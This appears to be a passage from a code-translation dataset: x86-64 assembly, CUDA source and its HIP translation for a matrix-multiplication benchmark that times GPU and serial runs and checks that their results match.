.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L15:
.cfi_restore 3
.cfi_restore 6
.cfi_restore 12
.cfi_restore 13
.cfi_restore 14
.cfi_restore 15
ret
.cfi_endproc
.LFE2071:
.size _Z10set_matrixPfi, .-_Z10set_matrixPfi
.section .rodata.str1.1
.LC1:
.string "["
.LC2:
.string " %f"
.LC3:
.string ";"
.LC4:
.string " ]\n"
.text
.globl _Z12print_matrixPdi
.type _Z12print_matrixPdi, @function
_Z12print_matrixPdi:
.LFB2072:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $24, %rsp
.cfi_def_cfa_offset 80
movq %rdi, %rbp
movl %esi, %ebx
movl %esi, 12(%rsp)
leaq .LC1(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
testl %ebx, %ebx
jle .L19
movslq %ebx, %r14
leaq 0(,%r14,8), %r15
addq %r15, %rbp
negq %r14
salq $3, %r14
movl $0, %r13d
leaq .LC2(%rip), %r12
.L20:
leaq 0(%rbp,%r14), %rbx
.L21:
movsd (%rbx), %xmm0
movq %r12, %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
addq $8, %rbx
cmpq %rbp, %rbx
jne .L21
leaq .LC3(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addl $1, %r13d
addq %r15, %rbp
cmpl %r13d, 12(%rsp)
jne .L20
.L19:
leaq .LC4(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
addq $24, %rsp
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2072:
.size _Z12print_matrixPdi, .-_Z12print_matrixPdi
.globl _Z11serial_mmulPfS_S_
.type _Z11serial_mmulPfS_S_, @function
_Z11serial_mmulPfS_S_:
.LFB2074:
.cfi_startproc
endbr64
movq %rdi, %r9
movq %rsi, %r10
movq %rdx, %r11
movl $0, %r8d
cmpl $0, size(%rip)
jg .L25
ret
.L29:
imull %r8d, %eax
addl %edi, %eax
cltq
movl $0x00000000, (%r11,%rax,4)
movl size(%rip), %eax
testl %eax, %eax
jle .L27
movl $0, %ecx
.L28:
movl %eax, %edx
imull %r8d, %edx
leal (%rdx,%rdi), %esi
movslq %esi, %rsi
leaq (%r11,%rsi,4), %rsi
imull %ecx, %eax
addl %edi, %eax
cltq
addl %ecx, %edx
movslq %edx, %rdx
movss (%r10,%rax,4), %xmm0
mulss (%r9,%rdx,4), %xmm0
addss (%rsi), %xmm0
movss %xmm0, (%rsi)
addl $1, %ecx
movl size(%rip), %eax
cmpl %ecx, %eax
jg .L28
.L27:
addl $1, %edi
movl size(%rip), %eax
cmpl %edi, %eax
jg .L29
.L30:
addl $1, %r8d
cmpl %r8d, size(%rip)
jle .L24
.L25:
movl size(%rip), %eax
movl $0, %edi
testl %eax, %eax
jg .L29
jmp .L30
.L24:
ret
.cfi_endproc
.LFE2074:
.size _Z11serial_mmulPfS_S_, .-_Z11serial_mmulPfS_S_
.globl _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
.type _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii, @function
_Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii:
.LFB2100:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 40(%rsp)
movq %rsi, 32(%rsp)
movq %rdx, 24(%rsp)
movl %ecx, 20(%rsp)
movl %r8d, 16(%rsp)
movl %r9d, 12(%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 40(%rsp), %rax
movq %rax, 112(%rsp)
leaq 32(%rsp), %rax
movq %rax, 120(%rsp)
leaq 24(%rsp), %rax
movq %rax, 128(%rsp)
leaq 20(%rsp), %rax
movq %rax, 136(%rsp)
leaq 16(%rsp), %rax
movq %rax, 144(%rsp)
leaq 12(%rsp), %rax
movq %rax, 152(%rsp)
leaq 192(%rsp), %rax
movq %rax, 160(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L41
.L37:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L42
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L41:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z10cudaMatMulPfS_S_iiii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L37
.L42:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2100:
.size _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii, .-_Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
.globl _Z10cudaMatMulPfS_S_iiii
.type _Z10cudaMatMulPfS_S_iiii, @function
_Z10cudaMatMulPfS_S_iiii:
.LFB2101:
.cfi_startproc
endbr64
subq $16, %rsp
.cfi_def_cfa_offset 24
movl 24(%rsp), %eax
pushq %rax
.cfi_def_cfa_offset 32
call _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
addq $24, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2101:
.size _Z10cudaMatMulPfS_S_iiii, .-_Z10cudaMatMulPfS_S_iiii
.globl _Z9cuda_mmulPfS_S_i
.type _Z9cuda_mmulPfS_S_i, @function
_Z9cuda_mmulPfS_S_i:
.LFB2073:
.cfi_startproc
endbr64
pushq %r15
.cfi_def_cfa_offset 16
.cfi_offset 15, -16
pushq %r14
.cfi_def_cfa_offset 24
.cfi_offset 14, -24
pushq %r13
.cfi_def_cfa_offset 32
.cfi_offset 13, -32
pushq %r12
.cfi_def_cfa_offset 40
.cfi_offset 12, -40
pushq %rbp
.cfi_def_cfa_offset 48
.cfi_offset 6, -48
pushq %rbx
.cfi_def_cfa_offset 56
.cfi_offset 3, -56
subq $72, %rsp
.cfi_def_cfa_offset 128
movq %rdi, %r12
movq %rsi, %rbp
movq %rdx, %r15
movl %ecx, %r13d
movq %fs:40, %rax
movq %rax, 56(%rsp)
xorl %eax, %eax
movslq %ecx, %rbx
movl $8, 32(%rsp)
movl $8, 36(%rsp)
movl $1, 40(%rsp)
movl $128, 44(%rsp)
movl $128, 48(%rsp)
movl $1, 52(%rsp)
movl %ecx, %r14d
imull %ecx, %r14d
sall $2, %r14d
movslq %r14d, %r14
leaq 8(%rsp), %rdi
movq %r14, %rsi
call cudaMalloc@PLT
movl $1, %ecx
movq %r14, %rdx
movq %r12, %rsi
movq 8(%rsp), %rdi
call cudaMemcpy@PLT
leaq 16(%rsp), %rdi
movq %r14, %rsi
call cudaMalloc@PLT
movl $1, %ecx
movq %r14, %rdx
movq %rbp, %rsi
movq 16(%rsp), %rdi
call cudaMemcpy@PLT
leaq 24(%rsp), %rdi
movq %r14, %rsi
call cudaMalloc@PLT
imulq $274877907, %rbx, %rbp
sarq $38, %rbp
movl %r13d, %eax
sarl $31, %eax
subl %eax, %ebp
movl $0, %r12d
cmpl $999, %r13d
jg .L46
.L47:
movl $2, %ecx
movq %r14, %rdx
movq 24(%rsp), %rsi
movq %r15, %rdi
call cudaMemcpy@PLT
movq 8(%rsp), %rdi
call cudaFree@PLT
movq 16(%rsp), %rdi
call cudaFree@PLT
movq 24(%rsp), %rdi
call cudaFree@PLT
movq 56(%rsp), %rax
subq %fs:40, %rax
jne .L55
addq $72, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 56
popq %rbx
.cfi_def_cfa_offset 48
popq %rbp
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
ret
.L48:
.cfi_restore_state
addl $1, %ebx
cmpl %ebp, %ebx
jge .L56
.L49:
movl 40(%rsp), %ecx
movl $0, %r9d
movl $0, %r8d
movq 32(%rsp), %rdx
movq 44(%rsp), %rdi
movl 52(%rsp), %esi
call __cudaPushCallConfiguration@PLT
testl %eax, %eax
jne .L48
subq $8, %rsp
.cfi_def_cfa_offset 136
pushq %r13
.cfi_def_cfa_offset 144
movl $1000, %r9d
movl %ebx, %r8d
movl %r12d, %ecx
movq 40(%rsp), %rdx
movq 32(%rsp), %rsi
movq 24(%rsp), %rdi
call _Z38__device_stub__Z10cudaMatMulPfS_S_iiiiPfS_S_iiii
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L48
.L56:
addl $1, %r12d
cmpl %ebp, %r12d
jge .L47
.L46:
movl $0, %ebx
jmp .L49
.L55:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2073:
.size _Z9cuda_mmulPfS_S_i, .-_Z9cuda_mmulPfS_S_i
.section .rodata.str1.1
.LC6:
.string "Usage: %s -n N\n"
.LC7:
.string "n:p:"
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC8:
.string "Multi Thread Computation Start\n"
.section .rodata.str1.1
.LC9:
.string "clock_gettime"
.section .rodata.str1.8
.align 8
.LC11:
.string "Multi Thread Computation End: %.3f us.\n"
.align 8
.LC12:
.string "Single Thread Computation Start\n"
.align 8
.LC13:
.string "Single Thread Computation End: %.3f us.\n"
.section .rodata.str1.1
.LC16:
.string "Verification Fail.\n"
.LC17:
.string "(%d, %d): %f - %f\n"
.LC18:
.string "Verification Success.\n"
.text
.globl main
.type main, @function
main:
.LFB2075:
.cfi_startproc
endbr64
pushq %r13
.cfi_def_cfa_offset 16
.cfi_offset 13, -16
pushq %r12
.cfi_def_cfa_offset 24
.cfi_offset 12, -24
pushq %rbp
.cfi_def_cfa_offset 32
.cfi_offset 6, -32
pushq %rbx
.cfi_def_cfa_offset 40
.cfi_offset 3, -40
subq $56, %rsp
.cfi_def_cfa_offset 96
movl %edi, %r12d
movq %rsi, %rbx
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
leaq .LC7(%rip), %rbp
.L60:
movq %rbp, %rdx
movq %rbx, %rsi
movl %r12d, %edi
call getopt@PLT
cmpl $-1, %eax
je .L80
cmpl $63, %eax
je .L59
cmpl $110, %eax
jne .L60
movl $10, %edx
movl $0, %esi
movq optarg(%rip), %rdi
call __isoc23_strtol@PLT
movl %eax, size(%rip)
jmp .L60
.L59:
movq (%rbx), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %edi
call exit@PLT
.L80:
movl size(%rip), %edi
testl %edi, %edi
jle .L81
call _Z11make_matrixi
movq %rax, matrixA(%rip)
movl size(%rip), %edi
call _Z11make_matrixi
movq %rax, matrixB(%rip)
movl size(%rip), %edi
call _Z11make_matrixi
movq %rax, matrixC_serial(%rip)
movl size(%rip), %edi
call _Z11make_matrixi
movq %rax, matrixC_cuda(%rip)
movl $0, %edi
call time@PLT
movq %rax, %rdi
call srand48@PLT
movl size(%rip), %esi
movq matrixA(%rip), %rdi
call _Z10set_matrixPfi
movl size(%rip), %esi
movq matrixB(%rip), %rdi
call _Z10set_matrixPfi
leaq .LC8(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %rsp, %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L82
movl size(%rip), %ecx
movq matrixC_cuda(%rip), %rdx
movq matrixB(%rip), %rsi
movq matrixA(%rip), %rdi
call _Z9cuda_mmulPfS_S_i
leaq 16(%rsp), %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L83
imulq $1000000000, 16(%rsp), %rax
addq 24(%rsp), %rax
imulq $1000000000, (%rsp), %rdx
addq 8(%rsp), %rdx
subq %rdx, %rax
pxor %xmm0, %xmm0
cvtsi2sdq %rax, %xmm0
divsd .LC10(%rip), %xmm0
leaq .LC11(%rip), %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
leaq .LC12(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq %rsp, %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L84
movq matrixC_serial(%rip), %rdx
movq matrixB(%rip), %rsi
movq matrixA(%rip), %rdi
call _Z11serial_mmulPfS_S_
leaq 16(%rsp), %rsi
movl $1, %edi
call clock_gettime@PLT
cmpl $-1, %eax
je .L85
imulq $1000000000, 16(%rsp), %rax
addq 24(%rsp), %rax
imulq $1000000000, (%rsp), %rdx
addq 8(%rsp), %rdx
subq %rdx, %rax
pxor %xmm0, %xmm0
cvtsi2sdq %rax, %xmm0
divsd .LC10(%rip), %xmm0
leaq .LC13(%rip), %rsi
movl $2, %edi
movl $1, %eax
call __printf_chk@PLT
movl $0, %ebp
leaq .LC16(%rip), %r13
jmp .L67
.L81:
movq (%rbx), %rdx
leaq .LC6(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %edi
call exit@PLT
.L82:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L83:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L84:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L85:
leaq .LC9(%rip), %rdi
call perror@PLT
movl $0, %edi
call exit@PLT
.L68:
addl $1, %ebx
movl size(%rip), %eax
cmpl %ebx, %eax
jle .L72
.L70:
imull %ebp, %eax
addl %ebx, %eax
cltq
movq matrixC_cuda(%rip), %rdx
movss (%rdx,%rax,4), %xmm0
movq matrixC_serial(%rip), %rdx
subss (%rdx,%rax,4), %xmm0
andps .LC14(%rip), %xmm0
cvtss2sd %xmm0, %xmm0
comisd .LC15(%rip), %xmm0
jbe .L68
movq %r13, %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl %ebp, %eax
imull size(%rip), %eax
addl %ebx, %eax
cltq
movq matrixC_cuda(%rip), %rdx
pxor %xmm0, %xmm0
cvtss2sd (%rdx,%rax,4), %xmm0
movq matrixC_serial(%rip), %rdx
pxor %xmm1, %xmm1
cvtss2sd (%rdx,%rax,4), %xmm1
movl %ebx, %ecx
movl %ebp, %edx
movq %r12, %rsi
movl $2, %edi
movl $2, %eax
call __printf_chk@PLT
jmp .L68
.L72:
addl $1, %ebp
.L67:
movl size(%rip), %eax
cmpl %ebp, %eax
jle .L71
movl $0, %ebx
leaq .LC17(%rip), %r12
testl %eax, %eax
jg .L70
jmp .L72
.L71:
leaq .LC18(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movq 40(%rsp), %rax
subq %fs:40, %rax
jne .L86
movl $0, %eax
addq $56, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 40
popq %rbx
.cfi_def_cfa_offset 32
popq %rbp
.cfi_def_cfa_offset 24
popq %r12
.cfi_def_cfa_offset 16
popq %r13
.cfi_def_cfa_offset 8
ret
.L86:
.cfi_restore_state
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2075:
.size main, .-main
.section .rodata.str1.1
.LC19:
.string "_Z10cudaMatMulPfS_S_iiii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2103:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC19(%rip), %rdx
movq %rdx, %rcx
leaq _Z10cudaMatMulPfS_S_iiii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2103:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.globl matrixC_cuda
.bss
.align 8
.type matrixC_cuda, @object
.size matrixC_cuda, 8
matrixC_cuda:
.zero 8
.globl matrixC_serial
.align 8
.type matrixC_serial, @object
.size matrixC_serial, 8
matrixC_serial:
.zero 8
.globl matrixBT
.align 8
.type matrixBT, @object
.size matrixBT, 8
matrixBT:
.zero 8
.globl matrixB
.align 8
.type matrixB, @object
.size matrixB, 8
matrixB:
.zero 8
.globl matrixA
.align 8
.type matrixA, @object
.size matrixA, 8
matrixA:
.zero 8
.globl size
.align 4
.type size, @object
.size size, 4
size:
.zero 4
.section .rodata.cst8,"aM",@progbits,8
.align 8
.LC10:
.long 0
.long 1083129856
.section .rodata.cst16,"aM",@progbits,16
.align 16
.LC14:
.long 2147483647
.long 0
.long 0
.long 0
.section .rodata.cst8
.align 8
.LC15:
.long -755914244
.long 1062232653
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include <cuda.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define NANO 1000000000
#define PGSIZE 0x1000
#define SUBSIZE 1000
#define BLOCK 8
#define GRID 128
int size;
float *matrixA, *matrixB, *matrixBT, *matrixC_serial, *matrixC_cuda;
__global__
void cudaMatMul(float *A_d, float *B_d, float *C_d, int x, int y, int n, int size)
{
int i = n * x + blockIdx.x * blockDim.x + threadIdx.x;
int j = n * y + blockIdx.y * blockDim.y + threadIdx.y;
float value = 0.0;
if (i >= n * (x + 1) || j >= n * (y + 1))
return;
for (int k = 0; k < size; k++)
value += A_d[i * size + k] * B_d[k * size + j];
C_d[i * size + j] = value;
return;
}
float *make_matrix(int size)
{
float *matrix = (float *) malloc(sizeof(float) * size * size);
if (matrix == NULL)
{
perror("malloc");
exit(0);
}
if (malloc(PGSIZE) == NULL)
{
perror("malloc");
exit(0);
}
return matrix;
}
void set_matrix(float *matrix, int size)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
matrix[i * size + j] = (float) drand48();
}
}
void print_matrix(double *matrix, int size)
{
printf("[");
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
printf(" %f", matrix[i * size + j]);
printf(";");
}
printf(" ]\n");
}
void cuda_mmul(float *A, float *B, float *C, int size)
{
int mem_size = sizeof(float) * size * size;
float *A_d, *B_d, *C_d;
dim3 dimBlock(BLOCK, BLOCK);
dim3 dimGrid(GRID, GRID);
cudaMalloc((void **) &A_d, mem_size);
cudaMemcpy(A_d, A, mem_size, cudaMemcpyHostToDevice);
cudaMalloc((void **) &B_d, mem_size);
cudaMemcpy(B_d, B, mem_size, cudaMemcpyHostToDevice);
cudaMalloc((void **) &C_d, mem_size);
for (int i = 0; i < size / SUBSIZE; i++)
{
for (int j = 0; j < size / SUBSIZE; j++)
cudaMatMul<<<dimGrid, dimBlock>>>(A_d, B_d, C_d, i, j, SUBSIZE, size);
}
cudaMemcpy(C, C_d, mem_size, cudaMemcpyDeviceToHost);
cudaFree(A_d);
cudaFree(B_d);
cudaFree(C_d);
}
void serial_mmul(float *matrixA, float *matrixB, float *matrixC)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
matrixC[i * size + j] = 0.0;
for (int k = 0; k < size; k++)
matrixC[i * size + j] += matrixA[i * size + k] * matrixB[k * size + j];
}
}
}
int main(int argc, char **argv, char **envp)
{
int opt;
struct timespec tstart, tend;
while ((opt = getopt(argc, argv, "n:p:")) != -1)
{
switch (opt)
{
case 'n':
size = atoi(optarg);
break;
case '?':
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
}
if (size <= 0)
{
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
matrixA = make_matrix(size);
matrixB = make_matrix(size);
matrixC_serial = make_matrix(size);
matrixC_cuda = make_matrix(size);
srand48(time(NULL));
set_matrix(matrixA, size);
set_matrix(matrixB, size);
printf("Multi Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
cuda_mmul(matrixA, matrixB, matrixC_cuda, size);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
long start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
long end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
double microsec = (end_nsec - start_nsec) / 1000.0;
printf("Multi Thread Computation End: %.3f us.\n", microsec);
printf("Single Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
serial_mmul(matrixA, matrixB, matrixC_serial);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
microsec = (end_nsec - start_nsec) / 1000.0;
printf("Single Thread Computation End: %.3f us.\n", microsec);
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
if (fabs(matrixC_cuda[i * size + j] - matrixC_serial[i * size + j]) > 1e-3)
{
printf("Verification Fail.\n");
printf("(%d, %d): %f - %f\n", i, j, matrixC_cuda[i * size + j], matrixC_serial[i * size + j]);
}
}
}
printf("Verification Success.\n");
// print_matrix(matrixA, size);
// print_matrix(matrixB, size);
// print_matrix(matrixC, size);
return 0;
} | #include <hip/hip_runtime.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define NANO 1000000000
#define PGSIZE 0x1000
#define SUBSIZE 1000
#define BLOCK 8
#define GRID 128
int size;
float *matrixA, *matrixB, *matrixBT, *matrixC_serial, *matrixC_cuda;
__global__
void cudaMatMul(float *A_d, float *B_d, float *C_d, int x, int y, int n, int size)
{
int i = n * x + blockIdx.x * blockDim.x + threadIdx.x;
int j = n * y + blockIdx.y * blockDim.y + threadIdx.y;
float value = 0.0;
if (i >= n * (x + 1) || j >= n * (y + 1))
return;
for (int k = 0; k < size; k++)
value += A_d[i * size + k] * B_d[k * size + j];
C_d[i * size + j] = value;
return;
}
float *make_matrix(int size)
{
float *matrix = (float *) malloc(sizeof(float) * size * size);
if (matrix == NULL)
{
perror("malloc");
exit(0);
}
if (malloc(PGSIZE) == NULL)
{
perror("malloc");
exit(0);
}
return matrix;
}
void set_matrix(float *matrix, int size)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
matrix[i * size + j] = (float) drand48();
}
}
void print_matrix(double *matrix, int size)
{
printf("[");
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
printf(" %f", matrix[i * size + j]);
printf(";");
}
printf(" ]\n");
}
void cuda_mmul(float *A, float *B, float *C, int size)
{
int mem_size = sizeof(float) * size * size;
float *A_d, *B_d, *C_d;
dim3 dimBlock(BLOCK, BLOCK);
dim3 dimGrid(GRID, GRID);
hipMalloc((void **) &A_d, mem_size);
hipMemcpy(A_d, A, mem_size, hipMemcpyHostToDevice);
hipMalloc((void **) &B_d, mem_size);
hipMemcpy(B_d, B, mem_size, hipMemcpyHostToDevice);
hipMalloc((void **) &C_d, mem_size);
for (int i = 0; i < size / SUBSIZE; i++)
{
for (int j = 0; j < size / SUBSIZE; j++)
cudaMatMul<<<dimGrid, dimBlock>>>(A_d, B_d, C_d, i, j, SUBSIZE, size);
}
hipMemcpy(C, C_d, mem_size, hipMemcpyDeviceToHost);
hipFree(A_d);
hipFree(B_d);
hipFree(C_d);
}
void serial_mmul(float *matrixA, float *matrixB, float *matrixC)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
matrixC[i * size + j] = 0.0;
for (int k = 0; k < size; k++)
matrixC[i * size + j] += matrixA[i * size + k] * matrixB[k * size + j];
}
}
}
int main(int argc, char **argv, char **envp)
{
int opt;
struct timespec tstart, tend;
while ((opt = getopt(argc, argv, "n:p:")) != -1)
{
switch (opt)
{
case 'n':
size = atoi(optarg);
break;
case '?':
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
}
if (size <= 0)
{
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
matrixA = make_matrix(size);
matrixB = make_matrix(size);
matrixC_serial = make_matrix(size);
matrixC_cuda = make_matrix(size);
srand48(time(NULL));
set_matrix(matrixA, size);
set_matrix(matrixB, size);
printf("Multi Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
cuda_mmul(matrixA, matrixB, matrixC_cuda, size);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
long start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
long end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
double microsec = (end_nsec - start_nsec) / 1000.0;
printf("Multi Thread Computation End: %.3f us.\n", microsec);
printf("Single Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
serial_mmul(matrixA, matrixB, matrixC_serial);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
microsec = (end_nsec - start_nsec) / 1000.0;
printf("Single Thread Computation End: %.3f us.\n", microsec);
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
if (fabs(matrixC_cuda[i * size + j] - matrixC_serial[i * size + j]) > 1e-3)
{
printf("Verification Fail.\n");
printf("(%d, %d): %f - %f\n", i, j, matrixC_cuda[i * size + j], matrixC_serial[i * size + j]);
}
}
}
printf("Verification Success.\n");
// print_matrix(matrixA, size);
// print_matrix(matrixB, size);
// print_matrix(matrixC, size);
return 0;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define NANO 1000000000
#define PGSIZE 0x1000
#define SUBSIZE 1000
#define BLOCK 8
#define GRID 128
int size;
float *matrixA, *matrixB, *matrixBT, *matrixC_serial, *matrixC_cuda;
__global__
void cudaMatMul(float *A_d, float *B_d, float *C_d, int x, int y, int n, int size)
{
int i = n * x + blockIdx.x * blockDim.x + threadIdx.x;
int j = n * y + blockIdx.y * blockDim.y + threadIdx.y;
float value = 0.0;
if (i >= n * (x + 1) || j >= n * (y + 1))
return;
for (int k = 0; k < size; k++)
value += A_d[i * size + k] * B_d[k * size + j];
C_d[i * size + j] = value;
return;
}
float *make_matrix(int size)
{
float *matrix = (float *) malloc(sizeof(float) * size * size);
if (matrix == NULL)
{
perror("malloc");
exit(0);
}
if (malloc(PGSIZE) == NULL)
{
perror("malloc");
exit(0);
}
return matrix;
}
void set_matrix(float *matrix, int size)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
matrix[i * size + j] = (float) drand48();
}
}
void print_matrix(double *matrix, int size)
{
printf("[");
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
printf(" %f", matrix[i * size + j]);
printf(";");
}
printf(" ]\n");
}
void cuda_mmul(float *A, float *B, float *C, int size)
{
int mem_size = sizeof(float) * size * size;
float *A_d, *B_d, *C_d;
dim3 dimBlock(BLOCK, BLOCK);
dim3 dimGrid(GRID, GRID);
